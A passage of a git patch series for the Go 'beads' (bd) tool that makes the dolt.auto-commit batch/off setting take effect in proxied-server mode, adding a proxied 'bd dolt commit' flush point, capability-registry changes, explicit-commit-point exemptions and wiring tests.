{ + if len(wispIDs) == 0 { + return nil + } + inClause, args := buildSQLInClause(wispIDs) + for _, aux := range wispAuxCascadeTables { + //nolint:gosec // G201: aux.table/aux.column come from the fixed wispAuxCascadeTables literal; inClause contains only ? placeholders + if _, err := tx.ExecContext(ctx, + fmt.Sprintf("DELETE FROM %s WHERE %s IN (%s)", aux.table, aux.column, inClause), + args...); err != nil { + return fmt.Errorf("delete wisp aux rows from %s: %w", aux.table, err) + } + } + return nil +} + // DeletionSet is the EXACT set of rows one delete removes, split by the plane // each row lives in. // diff --git a/internal/storage/issueops/journal_completeness_test.go b/internal/storage/issueops/journal_completeness_test.go index 9e28558cd..d14458524 100644 --- a/internal/storage/issueops/journal_completeness_test.go +++ b/internal/storage/issueops/journal_completeness_test.go @@ -170,6 +170,7 @@ var beadDMLExemptions = map[string]string{ "RetargetInboundDependenciesToIssueInTx": "rewrites dep rows during promote; PromoteFromEphemeralInTx journals it", "DeleteWispFromDependenciesInTx": "cleans up dep rows during a delete that journals the delete", "DeleteWispsFromDependenciesInTx": "cleans up dep rows during a delete that journals the delete", + "DeleteWispAuxRowsInTx": "cleans up wisp label/event/comment/counter rows during a delete that journals the delete", // (4) compaction maintenance — a lossy content rewrite outside the // create/update/close/delete/dep/label op vocabulary. Carried from the From 98d9675f5e2f22e3f20c5e36e2448d6420993f2b Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Sun, 27 Sep 2026 01:31:11 -0700 Subject: [PATCH 205/624] fix: honor dolt.auto-commit in proxied server mode (#6499) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(dolt): honor dolt.auto-commit=batch/off on the proxied-server write path (#4995) In proxied-server mode every write minted a Dolt history commit whatever dolt.auto-commit said. Two causes: - cmd/bd/main.go never applied issueOpsContext(rootCtx) in the proxiedServerMode branch of the root pre-run, so the context carried no deferred-commit marker. - internal/storage/uow/doltserver_tx.go: doltServerTx.Commit ignored issueops.VersionCommitDeferred(ctx) and ran CALL DOLT_COMMIT('-Am', ?) whenever a message was supplied. Apply issueOpsContext to rootCtx in the proxied setup, and have doltServerTx.Commit blank its message under a deferred context so the existing plain-COMMIT branch persists the write to the working set without advancing Dolt history. dolt.auto-commit=on is unchanged. This commit alone strands batch/off writes in the working set; the explicit flush point (`bd dolt commit`) follows in the later commits of this series. (Originally recorded as "witness: salvage uncommitted work (ocb-ani)"; the change itself is unmodified.) * test(uow,cmd/bd): add regression tests for proxied dolt.auto-commit batch/off (#4995) Add focused regression tests verifying that proxied dolt.auto-commit batch/off defer Dolt version commits: - cmd/bd: TestIssueOpsContextDefersByModeInProxiedServerMode verifies that issueOpsContext defers version commits in proxied-server mode when dolt.auto-commit is batch or off. - internal/storage/uow: TestDoltServerTxCommitDefersDoltCommitUnderDeferredContext and TestDoltServerTxRunTxWithDeferredContextSkipsDoltCommit verify that doltServerTx.Commit blanks the commit message under a deferred context, bypassing DOLT_COMMIT and status checks, and executing plain COMMIT to persist writes into the working set without advancing Dolt history. * fix(dolt): add the proxied flush point dolt.auto-commit=batch/off defers to (#4995) The deferral half of this PR makes dolt.auto-commit=batch/off actually take effect on the proxied-server write path. On its own that turns batch/off into "never commit": proxied mode returns from the root pre-run before newDoltStore runs, so getStore() is nil and `bd dolt commit` has no store to commit through. Writes pile up in the sql-server working set where `dolt log`, `dolt push` and backups never see them. Add the missing half. cmd/bd/dolt_commit_proxied_server.go is the proxied dual of `bd dolt commit`: it takes the uow.MaintenanceProvider route (RunNonTx) and runs CALL DOLT_COMMIT('-Am', ?) on a pinned connection, gated on issueops.HasPendingChanges. It deliberately does not go through doltServerTx.Commit, which blanks its own message under the deferred context; routing the flush through the deferral it exists to discharge would make the flush a no-op. doltCommitCmd dispatches to it on usesProxiedServer(); the message is built before the branch so both routes name the same default, and the "Committed." / "Nothing to commit." contract is unchanged. --dolt-auto-commit's help no longer claims proxied-server routes are unaffected: it names the proxied flush point and keeps the SIGTERM/SIGHUP flush marked embedded-only. docs/reference/configuration.md says the same. `bd vc commit`'s proxied refusal now points at `bd dolt commit`. Tests: - cmd/bd/dolt_commit_proxied_integration_test.go: three batch writes leave dolt_log unchanged and stay readable, `bd dolt commit` advances it by exactly one, a second `bd dolt commit` reports "Nothing to commit." with dolt_log unchanged, and one write under --dolt-auto-commit on advances it by one. On the PR's original base it failed at the `bd dolt commit` step with "no store available". On current main the front door refuses the command before that code is reached, so this test is only green together with the next commit, which moves `dolt commit` to supported in the proxy capability registry. - TestIssueOpsContextDefersByModeInProxiedServerMode renamed to TestIssueOpsContextDefersByModePolicyTable and the proxiedServerMode assignment dropped: issueOpsContext branches only on writesCommitNow(), never on the storage mode, so the old name over-promised. - doltserver_tx_test.go: "bd: update bd-4995" -> "bd: update GH#4995", which no longer reads as a bead id. Co-Authored-By: Claude Opus 5 (1M context) * fix(proxy): move `dolt commit` from refused to supported in the capability registry Main's proxy capability registry (added by #6269, 24a9da6cc) declares `dolt commit` direct-only: it has a "proxy.dolt_commit.unsupported" refusal in proxyMaintenanceRefusals (cmd/bd/proxy_capability.go) and is classed HistoryDirectOnly in historyCapabilityMatrix (cmd/bd/history_capability.go). The front door therefore refuses `bd dolt commit` in proxied-server mode before dispatch, so the proxied dual added earlier in this series is unreachable, and dolt.auto-commit=batch/off has no way to flush. the history/VC front-door contract, and neither the registry, its tests nor the docs explain why `dolt commit` was listed. Nothing on main implemented `dolt commit` for the proxied route at the time, which is consistent with the entry being a statement of what existed rather than a design decision. This flips a capability main had declared unsupported, deliberately: the proxied route now has an implementation (runDoltCommitProxiedServer), and batch/off need it as their flush point (GH#4995). Declared the same way as the other proxied-supported command, `dolt remote remove`: HistoryProxySupported in the history matrix, and no row in proxyMaintenanceRefusals. Tests follow: history_capability_test.go moves `dolt commit` from the direct-only assertions and refusal contract to the proxy-supported ones (including the nested front-door pass-through), and history_remote_frontdoor_matrix_test.go drops the refusal row and adds a `dolt commit` pass-through check to TestHistoryRemoteSupportedFrontDoorParity. Co-Authored-By: Claude Sonnet 5 * fix(proxy): exempt explicit commit points from the proxied deferral (#4995) Maintainer review fixup for PR #6499, adopt-pr iterations 1-2. Major (Contract & Interface Fidelity). The deferral is applied once, to rootCtx, so it blanketed BOTH commit classes the direct route distinguishes by which wrapper a verb picks: policy-honoring writes (transactHonoringAutoCommit, per-verb issueOpsContext) and explicit commit points (transact, which passes the caller's message whatever the policy says). Under dolt.auto-commit=batch a proxied `bd batch -m "release batch"` therefore persisted the rows, discarded the message and minted nothing, while the identical command and config on the direct route committed it — and batch_proxied_server.go's own contract comment rejects exactly that ("would persist these writes while silently bypassing Dolt history"), as does batch.go's "the contract is the same on both backends". issueops.WithImmediateVersionCommit clears the marker and cmd/bd's explicitCommitPointContext applies it in the duals whose direct twin calls transact. Scope is the intersection of the transact call sites with proxyPermittedPaths: batch, mol bond/pour/squash, mol wisp create, and the WISP half of mol burn (cook and migrate issues also call transact but are refused in proxied mode, so they have no dual to exempt). The review sized the radius at batch + 4 mol verbs; mol wisp create is the same class — its direct twin reaches cloneSubgraph's transact through spawnMoleculeWithOptions — so it is exempted with them. Membership is per commit site, not per command (iteration 2). `bd mol burn` is two classes on the direct route: wisps go through burnWisps -> transact, while persistent molecules go through deleteBatch -> issueOpsContext -> dolt/deleter.go, which returns before DOLT_COMMIT when the context defers. Exempting the whole command minted one Dolt commit per persistent molecule under batch/off — on a destructive verb, where the identical direct-route command defers them all to `bd dolt commit`. runMolBurnProxiedServer now applies the exemption to the wisp RunTxResult only, and the flag help, configuration.md and the helper's own radius comment say so. Minors: - The flush passes '--author' like DoltStorage.CommitAll, so the one commit batch mode keeps is attributed to the bd actor rather than the SQL session user (without it dolt_log reads `root `). - runDoltCommitProxiedServer calls the shared runProxiedNonTx instead of re-implementing its provider checks, so `bd --json dolt commit` keeps the JSON error envelope; `dolt commit`'s RunE no longer re-wraps an already-reported failure, and runProxiedNonTx's message gains the provider %T the open-coded version had. - The flag help and configuration.md drop two false claims: that the deferral covers "every write" in proxied mode (the bd serve plane over the same provider never touches rootCtx, so daemon writes still commit per write) and that the SIGTERM/SIGHUP flush is "embedded-only" (flushBatchCommitOnShutdown gates on an open store, which direct SQL-server mode has; only proxied mode lacks one). Both surfaces now name the explicit-commit-point exemption. - Both user-facing enumerations of that exemption are now derived from the explicitCommitPointContext call sites rather than restated (iteration 2): they had omitted mol wisp create, listed mol burn wholesale, and implied a message-less `bd batch` defers when batch.go synthesizes a default message and the dual exempts unconditionally, so every proxied batch commits. - doltserver_tx.go's ephemeral-form comment names its second entry point — RunTx/RunTxResult under a deferred context — where its ONLY-dolt_ignored-state rationale stops applying. Not done: regenerating docs/CLI_REFERENCE.md. Its --dolt-auto-commit drift is base-preexisting, and the generated CLI docs are built from the release tag pinned in docs/cli-docs.pin, not from this source, so touching them converts the drift gate's inherited-drift warn-pass into a failure. Tests. The uow blanking table gains the immediate-commit arm (tagless, so it runs in every lane); the proxied integration test gains an explicit-batch-commit step with a deferred plain create as its control, plus the flush attribution assertions. Mutation-proved: reverting explicitCommitPointContext to a no-op reds the new step (dolt_log 80 -> 80, no commit minted), and dropping '--author' reds the attribution assertion with committer=root. Iteration 2 adds the WIRING pin those left open — the mechanism was covered, but deleting `ctx = explicitCommitPointContext(ctx)` from a dual was green in every lane, which is why the mol burn over-application above was invisible. dolt_autocommit_exemption_wiring_test.go is tagless and needs no server: a uow.UnitOfWorkProvider that records the context RunTxResult hands NewUOW and then refuses observes exactly the context each dual gives its transaction. Mutation-proved per arm: neutering the exemption at batch/bond/squash reds those three rows and only those; dropping it from the wisp RunTxResult reds the wisp arm alone; and restoring the command-wide reassignment reds the persistent arm alone, reproducing the defect this iteration fixes. Validation: go build ./..., go vet (cgo and CGO_ENABLED=0), gofmt clean; internal/storage/issueops; internal/storage/uow -run TestDoltServerTx; the cmd/bd registry / history / policy / batch / mol / wisp / errors battery; and the gated real-server lane BEADS_TEST_PROXIED_SERVER=1 green for both TestProxiedServerBatchDefersThenDoltCommitAdvancesHeadOnce (41s) and TestProxiedServerMolBurn (33s, all four subtests including the mixed wisp+persistent burn this iteration changed). Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Julian Knutsen (cherry picked from commit edb86e34702c02067a57cee961ed18e5fc020991) Hand-resolved for hotfix/1.3.1: cmd/bd/history_remote_frontdoor_matrix_test.go conflicted because main's context around TestHistoryRemoteSupportedFrontDoorParity includes direct-topology test helpers (snapshotHistoryState, newDirectHistoryProject, historyCleanEnv, runDirectHistory, openDirectHistoryDB, startHistoryUnixBridge) that the release line does not have. Those main-only helpers are NOT brought over; only this commit's own change to that region (the updated doc comment) is applied. The refusal-row removal and the new dolt-commit parity assertion applied cleanly. All other files applied unchanged. Co-Authored-By: Claude Opus 5.5 --- cmd/bd/batch_proxied_server.go | 3 + cmd/bd/capability_registry.go | 19 +- cmd/bd/capability_registry_history_test.go | 15 +- cmd/bd/dolt.go | 49 ++-- cmd/bd/dolt_autocommit.go | 29 +++ .../dolt_autocommit_exemption_wiring_test.go | 238 ++++++++++++++++++ cmd/bd/dolt_autocommit_server_test.go | 34 +++ .../dolt_commit_proxied_integration_test.go | 191 ++++++++++++++ cmd/bd/dolt_commit_proxied_server.go | 88 +++++++ cmd/bd/dolt_commit_proxied_server_test.go | 29 +++ cmd/bd/errors.go | 9 + .../history_remote_frontdoor_matrix_test.go | 14 +- cmd/bd/main.go | 12 +- cmd/bd/mol_proxied_server.go | 25 +- cmd/bd/proxied_maintenance.go | 5 +- cmd/bd/vc.go | 5 +- cmd/bd/wisp_proxied_server.go | 6 + docs/reference/configuration.md | 22 +- internal/storage/issueops/version_commit.go | 12 + internal/storage/uow/doltserver_tx.go | 25 +- internal/storage/uow/doltserver_tx_test.go | 83 ++++++ 21 files changed, 873 insertions(+), 40 deletions(-) create mode 100644 cmd/bd/dolt_autocommit_exemption_wiring_test.go create mode 100644 cmd/bd/dolt_commit_proxied_integration_test.go create mode 100644 cmd/bd/dolt_commit_proxied_server.go create mode 100644 cmd/bd/dolt_commit_proxied_server_test.go diff --git a/cmd/bd/batch_proxied_server.go b/cmd/bd/batch_proxied_server.go index 52fd7eb14..99ccb890e 100644 --- a/cmd/bd/batch_proxied_server.go +++ b/cmd/bd/batch_proxied_server.go @@ -38,6 +38,9 @@ func runBatchProxiedServer(ctx context.Context, ops []batchOp, commitMsg string) if uowProvider == nil { return nil, HandleErrorRespectJSON("proxied-server UOW provider not initialized") } + // Explicit commit point, like `transact` on the direct route: the commit + // carries the caller's message whatever dolt.auto-commit says (GH#4995). + ctx = explicitCommitPointContext(ctx) return uow.RunTxResult(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) ([]batchOpResult, string, error) { // Built per attempt, not per call: a retried batch must report the // results of the attempt that actually committed. diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index 5ee3b2aa5..ab18b06d1 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -324,12 +324,13 @@ var proxyCapabilityRegistry = []capabilityRow{ refusedPath("repo sync", "proxy.repo.unsupported", ProxyReasonDesign, ""), // --- dolt version-control verbs ----------------------------------------- - // CALL DOLT_PUSH/DOLT_PULL/DOLT_COMMIT are SQL procedures and the generic - // repository that wraps them is already written; these need a use case and - // a route, not proxy work. `dolt remote remove` is already routed, which is - // the precedent. - refusedPath("dolt commit", "proxy.dolt_commit.unsupported", ProxyReasonUnimplemented, trackVersionCtl). - withHistory(HistoryDirectOnly), + // CALL DOLT_PUSH/DOLT_PULL are SQL procedures and the generic repository + // that wraps them is already written; these need a use case and a route, + // not proxy work. `dolt remote remove` is already routed, which is the + // precedent — and `dolt commit` has now followed it: GH#4995 supplied the + // use case (it is the flush point dolt.auto-commit=batch/off defers to) and + // runDoltCommitProxiedServer supplied the route, so its row moved to the + // routed-history block below. refusedPath("dolt push", "proxy.dolt_push.unsupported", ProxyReasonUnimplemented, trackVersionCtl). withHistory(HistoryDirectOnly), refusedPath("dolt pull", "proxy.dolt_pull.unsupported", ProxyReasonUnimplemented, trackVersionCtl). @@ -437,10 +438,14 @@ var proxyCapabilityRegistry = []capabilityRow{ {Path: "duplicates", ArgSet: "--auto-merge --dry-run", Rule: proxyCapabilityRule{Outcome: ProxyOutcomeHonored}}, // --- routed history ----------------------------------------------------- - // The two paths that already have a proxied route, recorded so the class is + // The paths that already have a proxied route, recorded so the class is // asserted rather than remembered. permitted("history").withHistory(HistoryProxySupported), permitted("dolt remote remove").withHistory(HistoryProxySupported), + // `dolt commit` is routed by runDoltCommitProxiedServer. It is also the + // flush point dolt.auto-commit=batch/off defers to (GH#4995), so refusing it + // at the front door would leave those modes with no way to flush. + permitted("dolt commit").withHistory(HistoryProxySupported), // --- untyped refusals inside RunE --------------------------------------- // The gate permits these paths and the command refuses itself with a bare diff --git a/cmd/bd/capability_registry_history_test.go b/cmd/bd/capability_registry_history_test.go index 87d1fd44d..3884b6765 100644 --- a/cmd/bd/capability_registry_history_test.go +++ b/cmd/bd/capability_registry_history_test.go @@ -12,13 +12,17 @@ func TestHistoryCapabilityMatrixExactPaths(t *testing.T) { if got, ok := LookupHistoryCapability("history"); !ok || got != HistoryProxySupported { t.Fatalf("history = %q, %v; want proxy-supported", got, ok) } - for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt commit", "dolt remote", "sync"} { + for _, path := range []string{"branch", "conflicts", "repo", "federation", "vc", "flatten", "dolt push", "dolt pull", "dolt remote", "sync"} { if got, ok := LookupHistoryCapability(path); !ok || got != HistoryDirectOnly { t.Errorf("%q = %q, %v; want direct-only", path, got, ok) } } - if got, ok := LookupHistoryCapability("dolt remote remove"); !ok || got != HistoryProxySupported { - t.Fatalf("dolt remote remove = %q, %v; want proxy-supported", got, ok) + // dolt commit is the flush point dolt.auto-commit=batch/off defers to + // (GH#4995), so it must stay reachable on the proxied route. + for _, path := range []string{"dolt remote remove", "dolt commit"} { + if got, ok := LookupHistoryCapability(path); !ok || got != HistoryProxySupported { + t.Fatalf("%s = %q, %v; want proxy-supported", path, got, ok) + } } for _, path := range []string{"dolt remote add", "dolt remote list", "dolt remote reset-data"} { if got, ok := LookupHistoryCapability(path); !ok || got != HistoryDirectOnly { @@ -50,7 +54,6 @@ func TestHistoryDirectOnlyRefusalContract(t *testing.T) { "flatten": {"proxy.flatten.unsupported", "flatten is not supported in proxied-server mode"}, "dolt push": {"proxy.dolt_push.unsupported", "dolt push is not supported in proxied-server mode"}, "dolt pull": {"proxy.dolt_pull.unsupported", "dolt pull is not supported in proxied-server mode"}, - "dolt commit": {"proxy.dolt_commit.unsupported", "dolt commit is not supported in proxied-server mode"}, "dolt remote add": {"proxy.dolt_remote.unsupported", "dolt remote add is not supported in proxied-server mode"}, "dolt remote list": {"proxy.dolt_remote.unsupported", "dolt remote list is not supported in proxied-server mode"}, "dolt remote reset-data": {"proxy.dolt_remote.unsupported", "dolt remote reset-data is not supported in proxied-server mode"}, @@ -94,7 +97,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { "conflicts resolve": {"proxy.conflicts.unsupported", "conflicts resolve is not supported in proxied-server mode"}, "federation sync": {"proxy.federation.unsupported", "federation sync is not supported in proxied-server mode"}, } - for _, path := range []string{"vc merge", "vc commit", "repo add", "conflicts resolve", "federation sync", "dolt remote remove"} { + for _, path := range []string{"vc merge", "vc commit", "repo add", "conflicts resolve", "federation sync", "dolt remote remove", "dolt commit"} { parts := strings.Split(path, " ") root := &cobra.Command{Use: "bd"} cmd := &cobra.Command{Use: parts[0]} @@ -105,7 +108,7 @@ func TestHistoryNestedFrontDoorsRefuseAndSupportedPathsPass(t *testing.T) { cmd = child } err := validateProxyRegistryBeforeProvider(cmd, ProxyTopologyManagedLocal) - if path == "dolt remote remove" { + if path == "dolt remote remove" || path == "dolt commit" { if err != nil { t.Fatalf("supported %s refused: %v", path, err) } diff --git a/cmd/bd/dolt.go b/cmd/bd/dolt.go index 009b15bb6..3fc18fc07 100644 --- a/cmd/bd/dolt.go +++ b/cmd/bd/dolt.go @@ -728,26 +728,47 @@ For more options (--stdin, custom messages), see: bd vc commit`, SilenceErrors: true, RunE: func(cmd *cobra.Command, args []string) error { ctx := context.Background() - st := getStore() - if st == nil { - return HandleError("no store available") - } msg, _ := cmd.Flags().GetString("message") if msg == "" { msg = fmt.Sprintf("bd: dolt commit (auto-commit) by %s", getActor()) } - // CommitAll, not Commit: this command's contract is "any uncommitted - // changes in the working set", including changes made externally and - // the config table — which server-mode Commit excludes (GH#2455), so - // out-of-band config dirt used to survive this command forever. Its - // committed bool also replaces the HEAD-before/HEAD-after comparison - // this command used to detect tolerated no-ops with, which cost two - // extra HEAD reads and raced against concurrent writers. - committed, err := st.CommitAll(ctx, msg) + + var ( + committed bool + err error + ) + if usesProxiedServer() { + // Proxied mode never opens a store — the root pre-run returns + // before newDoltStore — so getStore() is nil here and the UOW + // provider is the only handle on the server. This is the flush + // point dolt.auto-commit=batch/off defers to on that route + // (GH#4995). The message is built above so both routes name the + // same default. + committed, err = runDoltCommitProxiedServer(ctx, msg) + } else { + st := getStore() + if st == nil { + return HandleError("no store available") + } + // CommitAll, not Commit: this command's contract is "any uncommitted + // changes in the working set", including changes made externally and + // the config table — which server-mode Commit excludes (GH#2455), so + // out-of-band config dirt used to survive this command forever. Its + // committed bool also replaces the HEAD-before/HEAD-after comparison + // this command used to detect tolerated no-ops with, which cost two + // extra HEAD reads and raced against concurrent writers. + committed, err = st.CommitAll(ctx, msg) + } if err != nil { - if isDoltNothingToCommit(err) { + switch { + case isDoltNothingToCommit(err): committed = false - } else { + case isReportedExit(err): + // The proxied route reports provider failures itself, through + // HandleErrorRespectJSON, so the JSON envelope is already on + // stdout; re-wrapping would print a second, plain Error line. + return err + default: return HandleError("%v", err) } } diff --git a/cmd/bd/dolt_autocommit.go b/cmd/bd/dolt_autocommit.go index 186c9a76f..a32205e85 100644 --- a/cmd/bd/dolt_autocommit.go +++ b/cmd/bd/dolt_autocommit.go @@ -91,6 +91,35 @@ func issueOpsContext(ctx context.Context) (context.Context, error) { return issueops.WithDeferredVersionCommit(ctx), nil } +// explicitCommitPointContext clears the dolt.auto-commit deferral for a proxied +// dual whose direct-route twin is an explicit commit point. +// +// The direct route encodes two commit classes, and it encodes them by which +// wrapper a verb picks: writes whose Dolt commit is auto-commit policy go +// through transactHonoringAutoCommit or issueOpsContext above, while the +// explicit commit points go through transact and mint a Dolt commit carrying +// the caller's message whatever the policy says. The proxied route has no such +// choice to make per verb — it applies the policy ONCE, to rootCtx in the root +// pre-run (GH#4995) — so the second class has to opt back out here, or +// doltServerTx.Commit blanks the message it was given: a proxied +// `bd batch -m "release batch"` under dolt.auto-commit=batch would persist the +// rows, discard the message and mint nothing, while the identical command and +// config on the direct route commits it. +// +// Scope is the intersection of two in-tree lists: the transact() call sites, +// and the paths the proxied front door permits (proxyPermittedPaths in +// capability_registry.go). That is batch, mol bond/pour/squash, mol wisp create +// and the WISP half of mol burn; cook and migrate issues also call transact but +// are refused in proxied mode, so they have no dual to exempt. +// +// Membership is per commit site, not per command: mol burn's persistent half +// reaches deleteBatch -> issueOpsContext on the direct route, which is the +// policy-honoring class, so runMolBurnProxiedServer exempts only the wisp +// transaction. TestProxiedDualsExemptTheirExplicitCommitPoints pins both arms. +func explicitCommitPointContext(ctx context.Context) context.Context { + return issueops.WithImmediateVersionCommit(ctx) +} + type doltAutoCommitParams struct { // Command is the top-level bd command name (e.g., "create", "update"). Command string diff --git a/cmd/bd/dolt_autocommit_exemption_wiring_test.go b/cmd/bd/dolt_autocommit_exemption_wiring_test.go new file mode 100644 index 000000000..0dde74c32 --- /dev/null +++ b/cmd/bd/dolt_autocommit_exemption_wiring_test.go @@ -0,0 +1,238 @@ +package main + +import ( + "context" + "errors" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/uow" + "github.com/steveyegge/beads/internal/types" +) + +// The tests below pin the WIRING half of the GH#4995 exemption. The mechanism +// half — that WithImmediateVersionCommit defeats the route-wide deferral — +// is pinned in internal/storage/uow; what is pinned here is that each proxied +// dual whose direct twin is an explicit commit point actually hands that +// exemption to its transaction, and that the duals whose twin is NOT one do +// not. Without this, deleting explicitCommitPointContext from a dual is green +// in every lane that does not have a real proxied server. +// +// The seam is uow.RunTxResult's own first act: it asks the provider for a unit +// of work, passing the caller's context. A provider that records that context +// and then refuses observes exactly "the context this dual hands its +// transaction", with no server, no store and no fixture beyond the reads the +// dual makes to decide what to write. + +var errStopBeforeProbeTx = errors.New("exemption wiring probe: stop before the transaction") + +// exemptionProbeProvider serves readUOW to the first `reads` NewUOW calls (the +// dual's own read phase) and refuses the rest, recording every context it was +// handed. The refusal is not a serialization error, so RunTxResult treats it as +// permanent and makes exactly one NewUOW call per transaction. +type exemptionProbeProvider struct { + readUOW uow.UnitOfWork + reads int + ctxs []context.Context +} + +func (p *exemptionProbeProvider) NewUOW(ctx context.Context) (uow.UnitOfWork, error) { + p.ctxs = append(p.ctxs, ctx) + if len(p.ctxs) <= p.reads { + return p.readUOW, nil + } + return nil, errStopBeforeProbeTx +} + +func (p *exemptionProbeProvider) Close(context.Context) error { return nil } + +// txCtxs is the contexts handed to RunTx*, in call order: everything after the +// leading read opens. +func (p *exemptionProbeProvider) txCtxs() []context.Context { + if len(p.ctxs) <= p.reads { + return nil + } + return p.ctxs[p.reads:] +} + +// installExemptionProbe points the package's proxied provider at the probe for +// the duration of one test. +func installExemptionProbe(t *testing.T, p *exemptionProbeProvider) { + t.Helper() + prev := uowProvider + uowProvider = p + t.Cleanup(func() { uowProvider = prev }) +} + +// exemptionProbeUOW embeds the interface without implementing it: anything a +// dual's read phase needs beyond the three use cases below panics and names +// itself, rather than being silently satisfied. +type exemptionProbeUOW struct { + uow.UnitOfWork + issues domain.IssueUseCase + labels domain.LabelUseCase + deps domain.DependencyUseCase +} + +func (u exemptionProbeUOW) Close(context.Context) {} +func (u exemptionProbeUOW) IssueUseCase() domain.IssueUseCase { return u.issues } +func (u exemptionProbeUOW) LabelUseCase() domain.LabelUseCase { return u.labels } +func (u exemptionProbeUOW) DependencyUseCase() domain.DependencyUseCase { return u.deps } + +// CommentUseCase is collected by workapi.NewUOWDetailSource when the read +// phase resolves an id; nothing on that path calls it. +func (u exemptionProbeUOW) CommentUseCase() domain.CommentUseCase { return nil } + +type exemptionProbeIssues struct { + domain.IssueUseCase + byID map[string]*types.Issue +} + +func (s exemptionProbeIssues) GetIssue(_ context.Context, id string) (*types.Issue, error) { + if issue, ok := s.byID[id]; ok && !issue.Ephemeral { + return issue, nil + } + return nil, storage.ErrNotFound +} + +func (s exemptionProbeIssues) GetWisp(_ context.Context, id string) (*types.Issue, error) { + if issue, ok := s.byID[id]; ok && issue.Ephemeral { + return issue, nil + } + return nil, storage.ErrNotFound +} + +func (s exemptionProbeIssues) SearchIssues(_ context.Context, _ string, filter types.IssueFilter) (domain.SearchPage, error) { + var page domain.SearchPage + for _, id := range filter.IDs { + if issue, ok := s.byID[id]; ok { + page.Items = append(page.Items, issue) + } + } + return page, nil +} + +type exemptionProbeLabels struct { + domain.LabelUseCase +} + +func (exemptionProbeLabels) GetLabels(context.Context, string) ([]string, error) { return nil, nil } +func (exemptionProbeLabels) GetWispLabels(context.Context, string) ([]string, error) { return nil, nil } + +type exemptionProbeDeps struct { + domain.DependencyUseCase +} + +func (exemptionProbeDeps) ListWithIssueMetadata(context.Context, string, domain.DepListFilter) ([]*types.IssueWithDependencyMetadata, error) { + return nil, nil +} + +func (exemptionProbeDeps) GetForIssueIDs(context.Context, []string) (map[string][]*types.Dependency, error) { + return nil, nil +} + +func newExemptionProbeUOW(issues ...*types.Issue) uow.UnitOfWork { + byID := make(map[string]*types.Issue, len(issues)) + for _, issue := range issues { + byID[issue.ID] = issue + } + return exemptionProbeUOW{ + issues: exemptionProbeIssues{byID: byID}, + labels: exemptionProbeLabels{}, + deps: exemptionProbeDeps{}, + } +} + +// deferredRouteContext is what the proxied root pre-run hands every dispatch +// under dolt.auto-commit=batch/off. +func deferredRouteContext() context.Context { + return issueops.WithDeferredVersionCommit(context.Background()) +} + +// TestProxiedDualsExemptTheirExplicitCommitPoints pins the duals that reach +// their transaction directly. Deleting explicitCommitPointContext from any of +// them reds its row here. +func TestProxiedDualsExemptTheirExplicitCommitPoints(t *testing.T) { + cases := []struct { + name string + call func(context.Context) + }{ + { + name: "batch", + call: func(ctx context.Context) { + _, _ = runBatchProxiedServer(ctx, nil, "bd: batch probe") + }, + }, + { + name: "mol bond", + call: func(ctx context.Context) { + _ = runMolBondProxiedServer(ctx, molBondInput{argA: "bd-a", argB: "bd-b"}) + }, + }, + { + name: "mol squash", + call: func(ctx context.Context) { + _ = runMolSquashProxiedServer(ctx, molSquashInput{moleculeArg: "bd-mol"}) + }, + }, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + probe := &exemptionProbeProvider{} + installExemptionProbe(t, probe) + + tc.call(deferredRouteContext()) + + txCtxs := probe.txCtxs() + if len(txCtxs) != 1 { + t.Fatalf("%s: got %d transaction context(s), want 1 — the dual never reached RunTx*", tc.name, len(txCtxs)) + } + if issueops.VersionCommitDeferred(txCtxs[0]) { + t.Errorf("%s: the context handed to RunTx* still defers the version commit; "+ + "its direct twin is an explicit commit point, so this dual must clear the deferral "+ + "(doltServerTx.Commit blanks the message and mints nothing)", tc.name) + } + }) + } +} + +// TestProxiedMolBurnExemptsOnlyTheWispHalf pins the split. bd mol burn is two +// commit classes on the direct route: wisps go through burnWisps -> `transact` +// (explicit), persistent molecules go through deleteBatch -> issueOpsContext, +// whose deferral dolt's deleter honors by returning before DOLT_COMMIT. A +// command-wide exemption mints one commit per persistent molecule under +// batch/off, where the identical direct-route command defers them all. +func TestProxiedMolBurnExemptsOnlyTheWispHalf(t *testing.T) { + wisp := &types.Issue{ID: "bd-wisp1", Ephemeral: true} + persistent := &types.Issue{ID: "bd-mol1"} + + probe := &exemptionProbeProvider{ + reads: 1, // runMolBurnProxiedServer's classification read + readUOW: newExemptionProbeUOW(wisp, persistent), + } + installExemptionProbe(t, probe) + + // force=true skips the interactive confirmation; dryRun=false so both + // halves reach their transaction. + _ = runMolBurnProxiedServer(deferredRouteContext(), []string{wisp.ID, persistent.ID}, false, true) + + txCtxs := probe.txCtxs() + if len(txCtxs) != 2 { + t.Fatalf("got %d transaction context(s), want 2 (the wisp half then the persistent half); "+ + "the classification read did not produce one of each", len(txCtxs)) + } + + if issueops.VersionCommitDeferred(txCtxs[0]) { + t.Errorf("wisp half: the context handed to RunTxResult still defers the version commit, " + + "but its direct twin (burnWisps -> transact) commits whatever dolt.auto-commit says") + } + if !issueops.VersionCommitDeferred(txCtxs[1]) { + t.Errorf("persistent half: the context handed to RunTxResult no longer defers the version commit, " + + "so a proxied `bd mol burn` mints one Dolt commit per persistent molecule under " + + "dolt.auto-commit=batch/off — its direct twin (deleteBatch -> issueOpsContext) defers them " + + "all to `bd dolt commit`") + } +} diff --git a/cmd/bd/dolt_autocommit_server_test.go b/cmd/bd/dolt_autocommit_server_test.go index 64ea2d6ff..9476f5e46 100644 --- a/cmd/bd/dolt_autocommit_server_test.go +++ b/cmd/bd/dolt_autocommit_server_test.go @@ -284,3 +284,37 @@ func TestTransactHonoringAutoCommitBlanksMessageInServerBatch(t *testing.T) { }) } } + +// TestIssueOpsContextDefersByModePolicyTable pins the policy half of GH#4995: +// issueOpsContext defers the Dolt version commit for batch/off and does not for +// 